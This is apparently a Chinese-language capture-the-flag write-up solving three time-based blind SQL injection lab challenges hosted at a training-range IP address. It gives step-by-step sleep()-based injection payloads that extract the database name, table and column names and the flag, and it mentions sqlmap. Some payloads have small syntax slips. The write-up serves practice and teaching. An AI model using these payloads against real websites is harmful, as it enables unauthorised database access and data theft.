工具:kali.sqlmap
三關地址:
http://59.63.200.79:8812/New/TimeBased/RankOne/sql-one/
http://59.63.200.79:8812/New/TimeBased/RankTwo/sql-two/
http://59.63.200.79:8812/New/TimeBased/RankThree/sql-three/
延時注入第一題
首先進入靶場輸入?Id=1 :

發現單引號和閉合注釋為?id=1’ —+
And Sleep()函數嘗試是否有頁面刷新延緩:

發現延時,存在注入。
If(a,b,c)判斷a為正確執行b,否則執行c。
先查數據庫長度:?id=1’ and%20 if(length(database())>5,sleep(5),1) —+

Sleep(5)執行,說明數據庫長度大於5,依次實驗,發現數據庫長度為8,然后截取數據庫首字母ascii碼值:?id=1’ and%20 if(ascii(substr((database()))=113),sleep(5),1) —+

逐個檢驗,出現頁面延緩說明是該字母的ASCII碼值
和盲注類似,使用burpsuite數字爆破數據庫名為:security
然后查詢數據庫中表名:?id=1’ and%20 if(ascii(substr(select table_name from information_schema.tables where table_schema=database limit 4,1))=113),sleep(5),1) —+

逐個查詢出第四個表的各個字母,為zkaq.
然后查字段名:?id=1’ and%20 if(ascii(substr(select column_name from information_schema.columns where table_name=’zkaq’ limit 1,1))=113),sleep(5),1) —+

逐個查詢,最后查到字段名各個字母。
最后查flag:?id=1’ and%20 if(ascii(substr(select zKaQ from zkaq limit 14,1))=113),sleep(5),1) —+

最后逐個查詢出flag各個位置。
最后使用sqlmap來跑出:

延時注入第二題
輸入?Id=1:

閉合試用?id=1’ —+
其他步驟與上面地一題的步驟差不多,此處不再贅述。
延時注入第三題
輸入?Id=1:

發現閉合方法為雙引號閉合:?id=1” —+
查詢數據庫字段長度:
?id=1” and if(((select length(database()))=8),sleep(5),’zz’) —+

猜出數據庫名字
?id=1” and if((ascii (substr((select database()),1,1))=115),sleep(5),’zz’) —+

查詢表名
?id=1” and if((select ascii (substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1))=101),sleep(5),’zz’) —+

查詢 zkaq 表里的列
?id=1” and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=’zkaq’)=2,sleep(5),’zz’) —+

查詢列里的第一個字段:
?id=1” and if((select ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=’zkaq’ limit 0,1),1,1))=102),sleep(5),’zz’) —+

查出第一個字母為f.
同樣使用sqlmap得出flag。
